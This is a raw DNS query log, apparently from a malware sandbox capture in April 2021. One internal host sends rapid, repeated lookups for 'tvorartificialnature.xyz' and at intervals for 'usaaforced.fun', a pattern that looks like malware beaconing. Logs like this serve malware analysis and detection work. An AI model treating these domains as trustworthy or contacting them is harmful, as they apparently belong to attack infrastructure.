Apr 6, 2021 19:41:54.846915960 CEST	192.168.2.22	8.8.8.8	0x8d78	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.015343904 CEST	192.168.2.22	8.8.8.8	0x80da	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.182255983 CEST	192.168.2.22	8.8.8.8	0x2b82	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.357355118 CEST	192.168.2.22	8.8.8.8	0xaf83	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.532236099 CEST	192.168.2.22	8.8.8.8	0x4235	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.718703985 CEST	192.168.2.22	8.8.8.8	0xfab5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.880920887 CEST	192.168.2.22	8.8.8.8	0xc21c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.902189016 CEST	192.168.2.22	8.8.8.8	0x43a	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.067014933 CEST	192.168.2.22	8.8.8.8	0xdcf1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.243905067 CEST	192.168.2.22	8.8.8.8	0x275a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.418689966 CEST	192.168.2.22	8.8.8.8	0x2e8e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.593723059 CEST	192.168.2.22	8.8.8.8	0x68aa	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.788719893 CEST	192.168.2.22	8.8.8.8	0x5526	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.967940092 CEST	192.168.2.22	8.8.8.8	0x3b73	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.168148041 CEST	192.168.2.22	8.8.8.8	0x33b5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.343390942 CEST	192.168.2.22	8.8.8.8	0xad2e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.505929947 CEST	192.168.2.22	8.8.8.8	0x544b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.692027092 CEST	192.168.2.22	8.8.8.8	0x5ee0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.876300097 CEST	192.168.2.22	8.8.8.8	0xde74	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.074202061 CEST	192.168.2.22	8.8.8.8	0x7cef	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.243900061 CEST	192.168.2.22	8.8.8.8	0xe83b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.421942949 CEST	192.168.2.22	8.8.8.8	0x5e4b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.595458031 CEST	192.168.2.22	8.8.8.8	0xa94	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.779453039 CEST	192.168.2.22	8.8.8.8	0x400b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.957066059 CEST	192.168.2.22	8.8.8.8	0x7c27	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.163058043 CEST	192.168.2.22	8.8.8.8	0xd1eb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.333930969 CEST	192.168.2.22	8.8.8.8	0xdb8e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.507287979 CEST	192.168.2.22	8.8.8.8	0x1a82	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.718620062 CEST	192.168.2.22	8.8.8.8	0x5310	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.886928082 CEST	192.168.2.22	8.8.8.8	0xe9fb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.927500963 CEST	192.168.2.22	8.8.8.8	0xd282	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.053153992 CEST	192.168.2.22	8.8.8.8	0x89ba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.228764057 CEST	192.168.2.22	8.8.8.8	0x5ec1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.392771006 CEST	192.168.2.22	8.8.8.8	0x10d6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.572372913 CEST	192.168.2.22	8.8.8.8	0x5298	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.730221987 CEST	192.168.2.22	8.8.8.8	0x3898	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.919715881 CEST	192.168.2.22	8.8.8.8	0xece5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.091108084 CEST	192.168.2.22	8.8.8.8	0xaedf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.271410942 CEST	192.168.2.22	8.8.8.8	0xeff0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.448868990 CEST	192.168.2.22	8.8.8.8	0x3553	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.620419979 CEST	192.168.2.22	8.8.8.8	0xc494	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.797168016 CEST	192.168.2.22	8.8.8.8	0x52b0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.971838951 CEST	192.168.2.22	8.8.8.8	0x8ab8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.153645992 CEST	192.168.2.22	8.8.8.8	0xd668	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.350836039 CEST	192.168.2.22	8.8.8.8	0xb982	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.511094093 CEST	192.168.2.22	8.8.8.8	0xbc81	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.682351112 CEST	192.168.2.22	8.8.8.8	0x3f98	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.851183891 CEST	192.168.2.22	8.8.8.8	0x4303	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.011079073 CEST	192.168.2.22	8.8.8.8	0x49a5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.190000057 CEST	192.168.2.22	8.8.8.8	0xd29a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.382018089 CEST	192.168.2.22	8.8.8.8	0x25b1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.555335045 CEST	192.168.2.22	8.8.8.8	0x539b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.729757071 CEST	192.168.2.22	8.8.8.8	0x181f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.917316914 CEST	192.168.2.22	8.8.8.8	0xb96a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.956284046 CEST	192.168.2.22	8.8.8.8	0xc13d	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:04.087474108 CEST	192.168.2.22	8.8.8.8	0x595e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:04.266160011 CEST	192.168.2.22	8.8.8.8	0xad5c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:04.655273914 CEST	192.168.2.22	8.8.8.8	0x72c1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:05.286155939 CEST	192.168.2.22	8.8.8.8	0x40b6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:05.699647903 CEST	192.168.2.22	8.8.8.8	0xd791	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:06.178066969 CEST	192.168.2.22	8.8.8.8	0x20b4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:06.954581022 CEST	192.168.2.22	8.8.8.8	0xfa0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:07.512590885 CEST	192.168.2.22	8.8.8.8	0xc4fd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:07.812271118 CEST	192.168.2.22	8.8.8.8	0xabf0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:07.990094900 CEST	192.168.2.22	8.8.8.8	0x26bc	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.176816940 CEST	192.168.2.22	8.8.8.8	0xc569	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.381506920 CEST	192.168.2.22	8.8.8.8	0x54c8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.553906918 CEST	192.168.2.22	8.8.8.8	0x68ed	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.807526112 CEST	192.168.2.22	8.8.8.8	0x42b8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.178617001 CEST	192.168.2.22	8.8.8.8	0x63f2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.354269028 CEST	192.168.2.22	8.8.8.8	0xc642	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.628549099 CEST	192.168.2.22	8.8.8.8	0xa900	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.635210037 CEST	192.168.2.22	8.8.8.8	0xbdad	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.832098961 CEST	192.168.2.22	8.8.8.8	0x8c7f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.017004013 CEST	192.168.2.22	8.8.8.8	0x3de8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.219232082 CEST	192.168.2.22	8.8.8.8	0x8ef8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.388766050 CEST	192.168.2.22	8.8.8.8	0x8bfb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.563302040 CEST	192.168.2.22	8.8.8.8	0x55ce	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.766386032 CEST	192.168.2.22	8.8.8.8	0x2759	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.000695944 CEST	192.168.2.22	8.8.8.8	0x5f8d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.194502115 CEST	192.168.2.22	8.8.8.8	0x84e6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.390312910 CEST	192.168.2.22	8.8.8.8	0x4e66	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.602787971 CEST	192.168.2.22	8.8.8.8	0x7c0b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.772211075 CEST	192.168.2.22	8.8.8.8	0x7dd2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.942009926 CEST	192.168.2.22	8.8.8.8	0xe9d2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.103226900 CEST	192.168.2.22	8.8.8.8	0xc245	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.287353039 CEST	192.168.2.22	8.8.8.8	0x89bf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.529500961 CEST	192.168.2.22	8.8.8.8	0x2896	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.754573107 CEST	192.168.2.22	8.8.8.8	0xaac5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.928328991 CEST	192.168.2.22	8.8.8.8	0xc74b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.106350899 CEST	192.168.2.22	8.8.8.8	0x2ac2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.285439968 CEST	192.168.2.22	8.8.8.8	0xa2bf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.451190948 CEST	192.168.2.22	8.8.8.8	0xda46	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.674339056 CEST	192.168.2.22	8.8.8.8	0x4abf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.844223022 CEST	192.168.2.22	8.8.8.8	0xc68b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.006727934 CEST	192.168.2.22	8.8.8.8	0x9218	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.111937046 CEST	192.168.2.22	8.8.8.8	0x8f2a	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.190180063 CEST	192.168.2.22	8.8.8.8	0xb95e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.359498024 CEST	192.168.2.22	8.8.8.8	0x58c3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.575262070 CEST	192.168.2.22	8.8.8.8	0xf0a9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.750696898 CEST	192.168.2.22	8.8.8.8	0x2b80	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.914402962 CEST	192.168.2.22	8.8.8.8	0x3355	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.097834110 CEST	192.168.2.22	8.8.8.8	0xf2ec	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.262175083 CEST	192.168.2.22	8.8.8.8	0x2350	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.443793058 CEST	192.168.2.22	8.8.8.8	0xa487	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.643202066 CEST	192.168.2.22	8.8.8.8	0x7b16	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.824106932 CEST	192.168.2.22	8.8.8.8	0xeab4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.071894884 CEST	192.168.2.22	8.8.8.8	0xeda2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.250844002 CEST	192.168.2.22	8.8.8.8	0xb757	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.431119919 CEST	192.168.2.22	8.8.8.8	0x4f46	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.642393112 CEST	192.168.2.22	8.8.8.8	0xe31f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.820873022 CEST	192.168.2.22	8.8.8.8	0xc29e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.994086027 CEST	192.168.2.22	8.8.8.8	0x7750	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.173378944 CEST	192.168.2.22	8.8.8.8	0x8452	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.353614092 CEST	192.168.2.22	8.8.8.8	0x488e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.517313004 CEST	192.168.2.22	8.8.8.8	0x6012	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.756531000 CEST	192.168.2.22	8.8.8.8	0x68e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.928697109 CEST	192.168.2.22	8.8.8.8	0x37f4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.101993084 CEST	192.168.2.22	8.8.8.8	0xaaba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.314440012 CEST	192.168.2.22	8.8.8.8	0x9fee	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.497490883 CEST	192.168.2.22	8.8.8.8	0x8bee	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.691114902 CEST	192.168.2.22	8.8.8.8	0x69b7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.872212887 CEST	192.168.2.22	8.8.8.8	0x8c48	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.063473940 CEST	192.168.2.22	8.8.8.8	0x5aa2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.238744020 CEST	192.168.2.22	8.8.8.8	0x9691	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.408555984 CEST	192.168.2.22	8.8.8.8	0x1440	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.589885950 CEST	192.168.2.22	8.8.8.8	0xba4a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.753222942 CEST	192.168.2.22	8.8.8.8	0xebd1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.885521889 CEST	192.168.2.22	8.8.8.8	0x83b2	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.944510937 CEST	192.168.2.22	8.8.8.8	0xe141	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.117109060 CEST	192.168.2.22	8.8.8.8	0x5b2b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.292670965 CEST	192.168.2.22	8.8.8.8	0xd5e5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.622066975 CEST	192.168.2.22	8.8.8.8	0xd164	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.817867994 CEST	192.168.2.22	8.8.8.8	0x1530	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.997106075 CEST	192.168.2.22	8.8.8.8	0xe6ea	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.188359022 CEST	192.168.2.22	8.8.8.8	0xd500	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.366070032 CEST	192.168.2.22	8.8.8.8	0xfcea	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.526907921 CEST	192.168.2.22	8.8.8.8	0xc315	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.705212116 CEST	192.168.2.22	8.8.8.8	0x6b1a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.873001099 CEST	192.168.2.22	8.8.8.8	0x703c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.108041048 CEST	192.168.2.22	8.8.8.8	0x7408	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.284003019 CEST	192.168.2.22	8.8.8.8	0xae6e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.461739063 CEST	192.168.2.22	8.8.8.8	0xf465	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.645239115 CEST	192.168.2.22	8.8.8.8	0x4e0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.825229883 CEST	192.168.2.22	8.8.8.8	0x5683	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.013982058 CEST	192.168.2.22	8.8.8.8	0x129d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.196315050 CEST	192.168.2.22	8.8.8.8	0x50c9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.379216909 CEST	192.168.2.22	8.8.8.8	0xc6f3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.547393084 CEST	192.168.2.22	8.8.8.8	0x72df	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.755938053 CEST	192.168.2.22	8.8.8.8	0x90f3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.941715956 CEST	192.168.2.22	8.8.8.8	0x9bfe	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.130583048 CEST	192.168.2.22	8.8.8.8	0xfb4c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.317945957 CEST	192.168.2.22	8.8.8.8	0xba93	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.558274031 CEST	192.168.2.22	8.8.8.8	0x138b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.738868952 CEST	192.168.2.22	8.8.8.8	0xdfba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.905472994 CEST	192.168.2.22	8.8.8.8	0x18ac	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.093194008 CEST	192.168.2.22	8.8.8.8	0x6a99	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.268349886 CEST	192.168.2.22	8.8.8.8	0x33bd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.451562881 CEST	192.168.2.22	8.8.8.8	0x4364	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.628946066 CEST	192.168.2.22	8.8.8.8	0x4b4c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.805972099 CEST	192.168.2.22	8.8.8.8	0x361f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.002388954 CEST	192.168.2.22	8.8.8.8	0x7742	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.169493914 CEST	192.168.2.22	8.8.8.8	0xcd71	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.357660055 CEST	192.168.2.22	8.8.8.8	0x41cd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.562568903 CEST	192.168.2.22	8.8.8.8	0x82b6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.740994930 CEST	192.168.2.22	8.8.8.8	0xd341	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.912427902 CEST	192.168.2.22	8.8.8.8	0x6108	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.101932049 CEST	192.168.2.22	8.8.8.8	0x6545	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.149280071 CEST	192.168.2.22	8.8.8.8	0xcc31	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.280507088 CEST	192.168.2.22	8.8.8.8	0xae0a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.459379911 CEST	192.168.2.22	8.8.8.8	0x6598	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.633661032 CEST	192.168.2.22	8.8.8.8	0x4aa9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.807357073 CEST	192.168.2.22	8.8.8.8	0x2a48	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.983978033 CEST	192.168.2.22	8.8.8.8	0x1b9b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.181524038 CEST	192.168.2.22	8.8.8.8	0xb079	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.361962080 CEST	192.168.2.22	8.8.8.8	0x8e73	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.531514883 CEST	192.168.2.22	8.8.8.8	0x2708	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.717922926 CEST	192.168.2.22	8.8.8.8	0x6362	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.886059999 CEST	192.168.2.22	8.8.8.8	0x2a77	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.053906918 CEST	192.168.2.22	8.8.8.8	0x8911	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.231369019 CEST	192.168.2.22	8.8.8.8	0xf8e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
